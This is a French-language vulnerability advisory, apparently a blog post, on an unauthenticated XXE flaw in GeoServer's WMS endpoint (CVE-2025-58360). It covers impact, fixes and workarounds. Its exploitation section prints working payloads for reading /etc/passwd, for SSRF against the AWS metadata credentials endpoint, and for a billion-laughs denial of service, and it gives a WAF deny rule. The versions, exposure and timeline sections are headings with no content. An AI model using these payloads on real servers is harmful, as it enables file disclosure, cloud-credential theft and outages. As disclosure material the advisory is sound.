🔓 🛰️ « CVE-2025-58360 » L'endpoint WMS de GeoServer vulnérable à une attaque XXE 🌟

🏷️ Informations de base

• CVE ID : CVE-2025-58360
• Publié : 📅 25 novembre 2025
• Dernière modification : 📅 25 novembre 2025 (encore tout frais au 26 nov.)
• Type de vulnérabilité : XML External Entity (XXE) – CWE-611
• Logiciel concerné : GeoServer (serveur géospatial open source écrit en Java)
• Sévérité : 🔥 Élevée – Score de base CVSS v3.1 7.5
  • Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
• Exploitation dans la nature : 🟡 Pas encore observée (26 nov. 2025) – mais des PoC publics circulent
• Authentification requise : ❌ Aucune – entièrement non authentifié
• Interaction utilisateur requise : ❌ Aucune

🎨 Ce qui rend ce bug spécial (et dangereux)

Il s'agit d'un XXE classique mais dévastateur dans l'endpoint GetMap du Web Map Service (WMS).
Les attaquants peuvent :

• 📂 Lire n'importe quel fichier auquel le processus GeoServer a accès (/etc/passwd, geoserver.xml, clés privées, etc.)
• 🌐 Effectuer une Server-Side Request Forgery (SSRF) pour scanner les réseaux internes ou atteindre des endpoints de métadonnées (p. ex. AWS/GCP)
• 💣 Déclencher un déni de service avec des attaques par expansion d'entités (« billion laughs »)
• 🔗 Potentiellement chaîner avec d'autres failles pour un RCE complet (pas direct, mais possible dans des configurations mal sécurisées)

🛡️ Versions affectées (tableau détaillé)

🌍 Exposition mondiale (en temps réel au 26 nov. 2025)

→ Cela représente des dizaines de milliers de serveurs potentiellement vulnérables exposés sur Internet en ce moment même ! 🌐

🧨 Procédure technique complète d'exploitation

Endpoint : POST /geoserver/wms
Paramètre clé : SLD_BODY (permet un style XML brut)
Chemin de code vulnérable : L'analyseur XML ne désactive pas la résolution des entités externes → XXE classique.

Exemple 1 – Divulgation de fichiers (/etc/passwd)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
  <sld:UserLayer>
    <sld:LayerFeatureConstraints>
      <sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
    </sld:LayerFeatureConstraints>
  </sld:UserLayer>
</sld:StyledLayerDescriptor>

→ La réponse contient le contenu de /etc/passwd 🎉

Exemple 2 – SSRF vers des métadonnées internes (exemple AWS)

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

→ Fuit des identifiants AWS temporaires si exécuté sur EC2.

Exemple 3 – Déni de service Billion Laughs

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- repeat up to lol9 -->
]>
<lol>&lol9;</lol>

→ Consomme des gigaoctets de RAM en quelques secondes 💥

🛠️ Correctifs officiels et téléchargements

Utilisateurs de Docker :

docker pull osgeo/geoserver:2.27.0

🔧 Contournements (si vous ne pouvez pas patcher immédiatement)

1. Bloquez les XML dangereux avec une règle WAF/mod_security :
   Refusez les requêtes contenant <!ENTITY ou SYSTEM "file://
2. Désactivez le paramètre SLD_BODY globalement (si non nécessaire)
3. Exécutez GeoServer avec un système de fichiers en lecture seule + supprimez les capacités
4. Placez-le derrière un proxy inverse qui supprime les corps XML pour les utilisateurs non authentifiés

📢 Références officielles et PoC

• Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-58360
• Avis GeoServer : https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
• Ticket JIRA : https://osgeo-org.atlassian.net/browse/GEOS-11682
• PoC public sûr (Python) : https://gist.github.com/bolhasec/32fa035354d7cc9417aa297e2fe22b30
• Modèle Nuclei (détection automatique) : Déjà fusionné dans la branche principale

⏰ Chronologie

✨ Derniers mots

C'est un XXE de manuel qui frappe une plateforme géospatiale largement déployée avec des dizaines de milliers d'instances exposées sur Internet.
Les correctifs sont sortis le jour même de la divulgation — un immense bravo à l'équipe GeoServer pour sa réactivité ! 🏆
Mais la fenêtre entre la disponibilité des correctifs et l'exploitation massive se réduit rapidement.

Si vous utilisez GeoServer → mettez à jour dès aujourd'hui.
Ne devenez pas le prochain gros titre.

Restez sécurisé, restez brillant ! 🛡️✨